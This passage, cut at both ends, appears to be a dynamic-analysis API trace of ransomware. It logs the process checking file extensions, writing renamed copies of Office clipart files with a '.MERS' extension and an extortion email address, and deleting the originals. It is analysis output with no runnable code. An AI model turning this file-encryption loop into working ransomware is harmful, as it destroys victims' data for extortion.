Office\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 63 [0269.242] lstrlenW (lpString=".1cd") returned 4 [0269.242] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0269.242] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 63 [0269.242] lstrlenW (lpString=".jpg") returned 4 [0269.242] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0269.242] lstrcmpiW (lpString1=".WMF", lpString2=".MERS") returned 1 [0269.242] lstrlenW (lpString="AN04134_.WMF") returned 12 [0269.242] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04134_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0269.242] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x30eff1c | out: lpFileSize=0x30eff1c*=3416) returned 1 [0269.242] CloseHandle (hObject=0x3a8) returned 1 [0269.242] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04134_.wmf")) returned 0x20 [0269.242] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04134_.wmf.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0269.242] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04134_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0269.243] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30efec8 | out: lpNewFilePointer=0x0) returned 1 [0269.243] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30efec8 | out: lpNewFilePointer=0x0) returned 1 [0269.243] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04134_.wmf.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e4 [0269.243] GetLastError () returned 0x0 [0269.243] ReadFile (in: hFile=0x3a8, lpBuffer=0x3d90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30efed4, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesRead=0x30efed4*=0xd58, lpOverlapped=0x0) returned 1 [0269.272] WriteFile (in: hFile=0x3e4, lpBuffer=0x3d90020*, nNumberOfBytesToWrite=0xd60, lpNumberOfBytesWritten=0x30efc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesWritten=0x30efc9c*=0xd60, lpOverlapped=0x0) returned 1 [0269.273] ReadFile (in: hFile=0x3a8, lpBuffer=0x3d90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30efed4, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesRead=0x30efed4*=0x0, lpOverlapped=0x0) returned 1 [0269.273] WriteFile (in: hFile=0x3e4, lpBuffer=0x3d90020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x30efc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesWritten=0x30efc9c*=0xec, lpOverlapped=0x0) returned 1 [0269.273] SetEndOfFile (hFile=0x3e4) returned 1 [0269.274] CloseHandle (hObject=0x3e4) returned 1 [0269.274] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30efec8 | out: lpNewFilePointer=0x0) returned 1 [0269.275] SetEndOfFile (hFile=0x3a8) returned 1 [0269.290] CloseHandle (hObject=0x3a8) returned 1 [0269.290] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0269.291] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04134_.wmf")) returned 1 [0269.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 63 [0269.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 63 [0269.291] lstrlenW (lpString=".doc") returned 4 [0269.291] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0269.291] lstrlenW (lpString=".docx") returned 5 [0269.291] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0269.291] lstrlenW (lpString=".pdf") returned 4 [0269.291] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0269.291] lstrlenW (lpString=".xls") returned 4 [0269.291] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0269.291] lstrlenW (lpString=".xlsx") returned 5 [0269.291] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0269.291] lstrlenW (lpString=".ppt") returned 4 [0269.291] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0269.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 63 [0269.291] lstrlenW (lpString=".zip") returned 4 [0269.291] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0269.291] lstrlenW (lpString=".rar") returned 4 [0269.291] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0269.291] lstrlenW (lpString=".bz2") returned 4 [0269.291] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0269.291] lstrlenW (lpString=".7z") returned 3 [0269.291] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0269.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 63 [0269.291] lstrlenW (lpString=".dbf") returned 4 [0269.291] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0269.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 63 [0269.292] lstrlenW (lpString=".1cd") returned 4 [0269.292] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0269.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 63 [0269.292] lstrlenW (lpString=".jpg") returned 4 [0269.292] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0269.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 63 [0269.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 63 [0269.292] lstrlenW (lpString=".doc") returned 4 [0269.292] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0269.292] lstrlenW (lpString=".docx") returned 5 [0269.292] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0269.292] lstrlenW (lpString=".pdf") returned 4 [0269.292] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0269.292] lstrlenW (lpString=".xls") returned 4 [0269.292] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0269.292] lstrlenW (lpString=".xlsx") returned 5 [0269.292] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0269.292] lstrlenW (lpString=".ppt") returned 4 [0269.292] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0269.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 63 [0269.292] lstrlenW (lpString=".zip") returned 4 [0269.292] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0269.292] lstrlenW (lpString=".rar") returned 4 [0269.292] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0269.292] lstrlenW (lpString=".bz2") returned 4 [0269.292] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0269.292] lstrlenW (lpString=".7z") returned 3 [0269.292] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0269.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 63 [0269.292] lstrlenW (lpString=".dbf") returned 4 [0269.292] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0269.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 63 [0269.292] lstrlenW (lpString=".1cd") returned 4 [0269.292] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0269.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 63 [0269.292] lstrlenW (lpString=".jpg") returned 4 [0269.293] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0269.293] lstrcmpiW (lpString1=".WMF", lpString2=".MERS") returned 1 [0269.293] lstrlenW (lpString="AN04195_.WMF") returned 12 [0269.293] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04195_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0269.293] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x30eff1c | out: lpFileSize=0x30eff1c*=4612) returned 1 [0269.293] CloseHandle (hObject=0x3a8) returned 1 [0269.293] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04195_.wmf")) returned 0x20 [0269.293] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04195_.wmf.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0269.293] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04195_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0269.293] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30efec8 | out: lpNewFilePointer=0x0) returned 1 [0269.293] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30efec8 | out: lpNewFilePointer=0x0) returned 1 [0269.293] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04195_.wmf.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x408 [0269.294] GetLastError () returned 0x0 [0269.294] ReadFile (in: hFile=0x3a8, lpBuffer=0x3d90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30efed4, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesRead=0x30efed4*=0x1204, lpOverlapped=0x0) returned 1 [0269.333] WriteFile (in: hFile=0x408, lpBuffer=0x3d90020*, nNumberOfBytesToWrite=0x1210, lpNumberOfBytesWritten=0x30efc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesWritten=0x30efc9c*=0x1210, lpOverlapped=0x0) returned 1 [0269.334] ReadFile (in: hFile=0x3a8, lpBuffer=0x3d90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30efed4, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesRead=0x30efed4*=0x0, lpOverlapped=0x0) returned 1 [0269.334] WriteFile (in: hFile=0x408, lpBuffer=0x3d90020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x30efc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesWritten=0x30efc9c*=0xec, lpOverlapped=0x0) returned 1 [0269.334] SetEndOfFile (hFile=0x408) returned 1 [0269.334] CloseHandle (hObject=0x408) returned 1 [0269.334] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30efec8 | out: lpNewFilePointer=0x0) returned 1 [0269.334] SetEndOfFile (hFile=0x3a8) returned 1 [0269.336] CloseHandle (hObject=0x3a8) returned 1 [0269.336] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0269.336] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04195_.wmf")) returned 1 [0269.336] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 63 [0269.336] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 63 [0269.336] lstrlenW (lpString=".doc") returned 4 [0269.337] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0269.337] lstrlenW (lpString=".docx") returned 5 [0269.337] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0269.337] lstrlenW (lpString=".pdf") returned 4 [0269.337] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0269.337] lstrlenW (lpString=".xls") returned 4 [0269.337] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0269.337] lstrlenW (lpString=".xlsx") returned 5 [0269.337] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0269.337] lstrlenW (lpString=".ppt") returned 4 [0269.337] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0269.337] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 63 [0269.337] lstrlenW (lpString=".zip") returned 4 [0269.337] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0269.337] lstrlenW (lpString=".rar") returned 4 [0269.337] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0269.337] lstrlenW (lpString=".bz2") returned 4 [0269.337] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0269.337] lstrlenW (lpString=".7z") returned 3 [0269.337] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0269.337] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 63 [0269.337] lstrlenW (lpString=".dbf") returned 4 [0269.337] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0269.337] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 63 [0269.337] lstrlenW (lpString=".1cd") returned 4 [0269.337] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0269.337] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 63 [0269.337] lstrlenW (lpString=".jpg") returned 4 [0269.337] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0269.337] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 63 [0269.337] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 63 [0269.337] lstrlenW (lpString=".doc") returned 4 [0269.337] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0269.337] lstrlenW (lpString=".docx") returned 5 [0269.337] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0269.338] lstrlenW (lpString=".pdf") returned 4 [0269.338] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0269.338] lstrlenW (lpString=".xls") returned 4 [0269.338] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0269.338] lstrlenW (lpString=".xlsx") returned 5 [0269.338] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0269.338] lstrlenW (lpString=".ppt") returned 4 [0269.338] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0269.338] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 63 [0269.338] lstrlenW (lpString=".zip") returned 4 [0269.338] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0269.338] lstrlenW (lpString=".rar") returned 4 [0269.338] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0269.338] lstrlenW (lpString=".bz2") returned 4 [0269.338] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0269.338] lstrlenW (lpString=".7z") returned 3 [0269.338] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0269.338] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 63 [0269.338] lstrlenW (lpString=".dbf") returned 4 [0269.338] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0269.338] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 63 [0269.338] lstrlenW (lpString=".1cd") returned 4 [0269.338] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0269.338] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 63 [0269.338] lstrlenW (lpString=".jpg") returned 4 [0269.338] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0269.338] lstrcmpiW (lpString1=".WMF", lpString2=".MERS") returned 1 [0269.338] lstrlenW (lpString="AN04196_.WMF") returned 12 [0269.338] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04196_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0269.339] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x30eff1c | out: lpFileSize=0x30eff1c*=3144) returned 1 [0269.339] CloseHandle (hObject=0x3a8) returned 1 [0269.339] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04196_.wmf")) returned 0x20 [0269.339] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04196_.wmf.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0269.339] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04196_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0269.339] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30efec8 | out: lpNewFilePointer=0x0) returned 1 [0269.339] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30efec8 | out: lpNewFilePointer=0x0) returned 1 [0269.339] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04196_.wmf.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x408 [0269.339] GetLastError () returned 0x0 [0269.339] ReadFile (in: hFile=0x3a8, lpBuffer=0x3d90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30efed4, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesRead=0x30efed4*=0xc48, lpOverlapped=0x0) returned 1 [0269.378] WriteFile (in: hFile=0x408, lpBuffer=0x3d90020*, nNumberOfBytesToWrite=0xc50, lpNumberOfBytesWritten=0x30efc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesWritten=0x30efc9c*=0xc50, lpOverlapped=0x0) returned 1 [0269.379] ReadFile (in: hFile=0x3a8, lpBuffer=0x3d90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30efed4, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesRead=0x30efed4*=0x0, lpOverlapped=0x0) returned 1 [0269.379] WriteFile (in: hFile=0x408, lpBuffer=0x3d90020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x30efc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesWritten=0x30efc9c*=0xec, lpOverlapped=0x0) returned 1 [0269.379] SetEndOfFile (hFile=0x408) returned 1 [0269.379] CloseHandle (hObject=0x408) returned 1 [0269.379] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30efec8 | out: lpNewFilePointer=0x0) returned 1 [0269.379] SetEndOfFile (hFile=0x3a8) returned 1 [0269.384] CloseHandle (hObject=0x3a8) returned 1 [0269.385] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0269.385] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04196_.wmf")) returned 1 [0269.385] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 63 [0269.385] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 63 [0269.385] lstrlenW (lpString=".doc") returned 4 [0269.385] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0269.385] lstrlenW (lpString=".docx") returned 5 [0269.385] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0269.385] lstrlenW (lpString=".pdf") returned 4 [0269.385] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0269.385] lstrlenW (lpString=".xls") returned 4 [0269.385] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0269.385] lstrlenW (lpString=".xlsx") returned 5 [0269.385] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0269.385] lstrlenW (lpString=".ppt") returned 4 [0269.385] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0269.385] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 63 [0269.385] lstrlenW (lpString=".zip") returned 4 [0269.385] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0269.385] lstrlenW (lpString=".rar") returned 4 [0269.385] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0269.385] lstrlenW (lpString=".bz2") returned 4 [0269.385] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0269.385] lstrlenW (lpString=".7z") returned 3 [0269.385] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0269.385] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 63 [0269.386] lstrlenW (lpString=".dbf") returned 4 [0269.386] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0269.386] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 63 [0269.386] lstrlenW (lpString=".1cd") returned 4 [0269.386] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0269.386] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 63 [0269.386] lstrlenW (lpString=".jpg") returned 4 [0269.386] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0269.386] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 63 [0269.386] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 63 [0269.386] lstrlenW (lpString=".doc") returned 4 [0269.386] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0269.386] lstrlenW (lpString=".docx") returned 5 [0269.386] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0269.386] lstrlenW (lpString=".pdf") returned 4 [0269.386] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0269.386] lstrlenW (lpString=".xls") returned 4 [0269.386] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0269.386] lstrlenW (lpString=".xlsx") returned 5 [0269.386] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0269.386] lstrlenW (lpString=".ppt") returned 4 [0269.386] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0269.386] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 63 [0269.386] lstrlenW (lpString=".zip") returned 4 [0269.386] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0269.386] lstrlenW (lpString=".rar") returned 4 [0269.386] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0269.386] lstrlenW (lpString=".bz2") returned 4 [0269.386] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0269.386] lstrlenW (lpString=".7z") returned 3 [0269.386] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0269.386] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 63 [0269.386] lstrlenW (lpString=".dbf") returned 4 [0269.386] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0269.386] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 63 [0269.386] lstrlenW (lpString=".1cd") returned 4 [0269.387] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0269.387] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 63 [0269.387] lstrlenW (lpString=".jpg") returned 4 [0269.387] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0269.387] lstrcmpiW (lpString1=".WMF", lpString2=".MERS") returned 1 [0269.387] lstrlenW (lpString="AN04267_.WMF") returned 12 [0269.387] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04267_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, 